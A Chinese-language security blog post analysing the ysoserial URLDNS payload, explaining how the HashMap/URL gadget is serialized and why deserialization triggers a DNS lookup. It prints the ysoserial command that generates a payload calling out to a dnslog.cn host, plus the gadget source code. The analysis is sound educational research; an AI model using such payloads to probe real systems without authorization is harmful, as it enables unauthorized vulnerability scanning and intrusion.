Java反序列化之ysoserial URLDNS模块分析

前言

Java反序列化漏洞 利用时，总会使用到ysoserial这款工具，安服仔用了很多，但是工具的原理却依旧不清不楚，当了这么久的脚本仔，是时候当一波（实习）研究仔，学习下这款工具各个Payload的原理了，下面我们先从漏洞探测模块URLDNS这个Payload开始学起，逐步衍生到漏洞利用模块。

为什么URLDNS模块会发送DNSLOG请求？

分析

下载ysoserial项目，打开pom.xml，程序入口在 ysoserial.GeneratePayload

打开GeneratePayload.java，找到main方法，代码如下：

当我们使用ysoserial执行以下命令时：

java -jar .\ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS "http://lyxhh.dnslog.cn"  > dnslog.ser

首先ysoserial获取外面传入的参数，并赋值给对应的变量。

inal String payloadType = args[0]; // URLDNS
final String command = args[1]; //http://lyxhh.dnslog.cn

接着执行 Utils.getPayloadClass("URLDNS"); ，根据全限定类名 ysoserial.payloads.URLDNS ，获取对应的Class类对象。

final ObjectPayload payload = payloadClass.newInstance();

然后通过反射创建Class类对应的对象，走完这句代码，URLDNS对象创建完成。

final Object object = payload.getObject("http://lyxhh.dnslog.cn");

接着执行URLDNS对象中的getObject方法。

getObject方法中：

URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler对象，该对象的作用，后面我们会详细说到。

接着：

HashMap ht = new HashMap();

创建了HashMap对象：

URL u = new URL(null, "http://lyxhh.dnslog.cn", handler);

URL对象：

ht.put(u, "http://lyxhh.dnslog.cn");

将URL对象作为HashMap中的key，dnslog地址为值，存入HashMap中。

Reflections.setFieldValue(u, "hashCode", -1);

通过反射机制 设置URL对象的成员变量hashCode值为-1，为什么要设置值为-1，这问题在反序列化时会详细说到。

将HashMap对象返回 return ht; ，接着对 HashMap对象 进行序列化操作 Serializer.serialize(object, out); 并将序列化的结果重定向到 dnslog.ser 文件中。

由于HashMap中重写了writeObject方法，因此在进行序列化操作时，执行的序列化方法是HashMap中的writeObject方法，具体如下：

先执行默认的序列化操作:

接着 遍历HashMap，对HashMap中的key，value进行序列化。

综上所述，梳理下ysoserial payload，URLDNS 序列化的整个过程：

• 首先 ysoserial 通过反射的方式，根据全限定类名 ysoserial.payloads.URLDNS ，获取对应的Class类对象，并通过Class类对象的 newInstance() 方法，获取URLDNS对象。

• 接着执行URLDNS对象中的getObject方法。

  • 在getObject方法中，创建了URLStreamHandler 对象 URLStreamHandler handler = new SilentURLStreamHandler(); ，该对象会被URL对象引用。

  • 创建HashMap对象 HashMap ht = new HashMap(); ，URL对象 URL u = new URL(null, "http://lyxhh.dnslog.cn", handler); 。

  • 将URL对象作为HashMap中的Key，DNSLOG的地址作为HashMap中的值 HashMap.put(u, "http://lyxhh.dnslog.cn");

  • 通过反射的方式 Reflections.setFieldValue(u, "hashCode", -1); ，设置URL对象中的成员变量hashCode值为-1。

  • 返回HashMap对象。

• 然后对HashMap对象进行序列化操作 Serializer.serialize(HashMap object, out);

整个序列化过程中，有几个问题： 1、为什么要创建URLStreamHandler 对象，URL对象中默认的URLStreamHandler 对象不香吗。 2、为什么要设置URL对象中的成员变量hashCode值为-1。

反序列化分析

读取上述操作生成的 dnslog.ser 文件，执行反序列化，触发DNSLOG请求:

为什么HashMap的反序列化过程会发送DNSLOG请求呢？

在进行反序列化操作时，由于HashMap中重写了readObject方法，因此执行的反序列化方法是HashMap中的readObject方法，如下：

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject(); // 执行默认的反序列化方法
    reinitialize(); //初始化变量值
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);
        @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;


        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject(); // 遍历hashmap，进行反序列化操作，还原key值，这里的key值，是URL对象。
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject(); // 还原value值，这里的value值，是dnslog的请求地址，http://lyxhh.dnslog.cn
            putVal(hash(key), key, value, false, false); //对key进行hash计算，确保唯一，并构造Hashmap对象。
        }
    }
}

readObject中，先执行默认的反序列化方法，接着还原HashMap，并计算Key，如下：

这里我们跟进hash(key)方法中。

接着执行了 key.hashCode() ，而key是URL对象，因此执行的是URL对象中的hashCode方法，继续跟进。

在序列化操作时，已经通过反射设置了URL的hashCode等于-1，因此这里会直接进入到 handler.hashCode(this); 中。

hashCode方法中会执行 getHostAddress(URL u) 方法，方法中调用了 InetAddress.getByName(host); 函数，从而发送DNSLOG请求。

使用 InetAddress.getByName(host); ，发送DNSLOG请求。

综上所述，梳理下ysoserial payload，URLDNS 反序列化的整个过程：

• 首先 HashMap 重写了readObject方法，因此在反序列化过程中，执行的反序列化方法是HashMap中的readObject方法。

• 在HashMap中的readObject方法中，会对Key进行hash计算 key.hashCode() ，而Key是URL对象，执行URL对象的hashCode方法。

• 在URL.hashCode方法中，当hashCode成员变量值为-1时，会执行URLStreamHandler.hashCode()方法。

• 在URLStreamHandler.hashCode()方法中，会执行 getHostAddress(URL u) 方法。

• 在 getHostAddress(URL u) 方法中，会执行 InetAddress.getByName(host); ，从而发送DNSLOG请求。

解决序列化时遗留的问题

1、为什么要创建URLStreamHandler 对象，URL对象中默认的URLStreamHandler 对象不香吗。

URLDNS中getObject方法中。

public Object getObject(final String url) throws Exception {


    URLStreamHandler handler = new SilentURLStreamHandler();
    HashMap ht = new HashMap(); 
    URL u = new URL(null, url, handler); 
    ht.put(u, url);  


    Reflections.setFieldValue(u, "hashCode", -1); 
    return ht;
}

URLStreamHandler handler = new SilentURLStreamHandler();

创建了URLStreamHandler 对象。

这里我们先来看下SilentURLStreamHandler类。

static class SilentURLStreamHandler extends URLStreamHandler {


        protected URLConnection openConnection(URL u) throws IOException {
                return null;
        }


        protected synchronized InetAddress getHostAddress(URL u) {
                return null;
        }
}

SilentURLStreamHandler类继承URLStreamHandler，重写了openConnection，getHostAddress方法，将方法的实现置空了。

然后将handler传递给了URL构造函数。

URL u = new URL(null, url, handler); 

在URL构造函数中，如果handler存在，则执行 this.handler = handler;

接着我们执行了HashMap的put方法 ht.put(u, url); ，这里我们跟下put方法，如下：

在put方法中，执行了hash(key)方法，我们跟进hash方法：

跟进hashCode方法：

URL对象初始化后，hashCode值默认为-1。

因此第一次 HashMap.put 时，会进入 handler.hashCode(this) ， 注意这里的handler是SilentURLStreamHandler的对象 ，跟进 URLStreamHandler.hashCode

在 URLStreamHandler.hashCode 中 存在getHostAddress()方法，在反序列化分析时，我们知道该方法会发送DNSLOG请求，为了让HashMap在第一次put 元素时，不执行DNSLOG请求，因此，ysoserial重写了getHostAddress方法，将该方法置为空实现。

流程图对比：

使用默认的URLStreamHandler。

ht.put(new URL(null, url), url); --> 
  putVal(hash(key), key, value, false, true) --> 
    hash(key) --> 
      URL.hashCode() -->  
        URLStreamHandler.hashCode(this) --> 
          URLStreamHandler.getHostAddress(u) --> 发送DNSLog请求

使用重写的SilentURLStreamHandler。

URLStreamHandler handler = new SilentURLStreamHandler();
ht.put(new URL(null, url, handler), url); --> 
  putVal(hash(key), key, value, false, true) --> 
    hash(key) --> 
      URL.hashCode() -->  
        URLStreamHandler.hashCode(this) --> 
          SilentURLStreamHandler.getHostAddress(u) --> 空实现。

transient URLStreamHandler handler;

由于handler的类型是transient，被transient修饰的变量在序列化时，不会被存储，因此不影响反序列化链的触发。（反序列化时，handler是默认的，没有将getHostAddress方法置空，依旧可以执行DNSLOG请求）

SilentURLStreamHandler重写的openConnection函数，经过分析在URLDNS中并没有使用到，之所以存在是因为SilentURLStreamHandler类继承URLStreamHandler抽象类，必须实现该抽象类中的所有抽象方法。

小结： URLDNS通过URL构造函数 传递 SilentURLStreamHandler类对象，该类重写了getHostAddress方法，将方法体置为空实现，旨在执行HashMap.put时，不会触发DNSLOG请求，降低对目标漏洞的误判率。

2、为什么要设置URL对象中的成员变量hashCode值为-1。

在URL对象创建时，hashCode值默认为-1。

接着进行了HashMap.put操作，计算key hash时，会执行URL.hashCode方法。

执行完 handler.hashCode(this) ，会重置了hashCode成员变量的值，此时该值就不为-1了，这里我们通过反射获取 经过HashMap.put后 的hashCode值，如下：

而hashCode变量没有被transient修饰，因此序列化时会将hashCode变量值存储进序列化数据中。

在进行反序列化操作时，由于hashCode值不为-1，不会执行 handler.hashCode(this) ，从而导致无法发送DNSLOG请求。

因此在执行完HashMap.put后，需要反射将hashCode的值设置了-1，以便反序列化执行时，可以正常发送DNSLOG请求。

网上的分析文章，绝大部分都是分析如何触发DNSLOG，但是关于ysoserial的其他细节构造却只字不提。

总结

本文从工具的命令使用出发，由浅入深的分析了URLDNS Payload 执行序列化的过程，以及反序列化时是如何触发DNSLOG请求，接着分析了ysoserial构造URLDNS Payload 的一些必要的细节，希望我的分析可以给大家带来帮助，后续我们将继续从ysoserial工具学习更多的反序列化知识。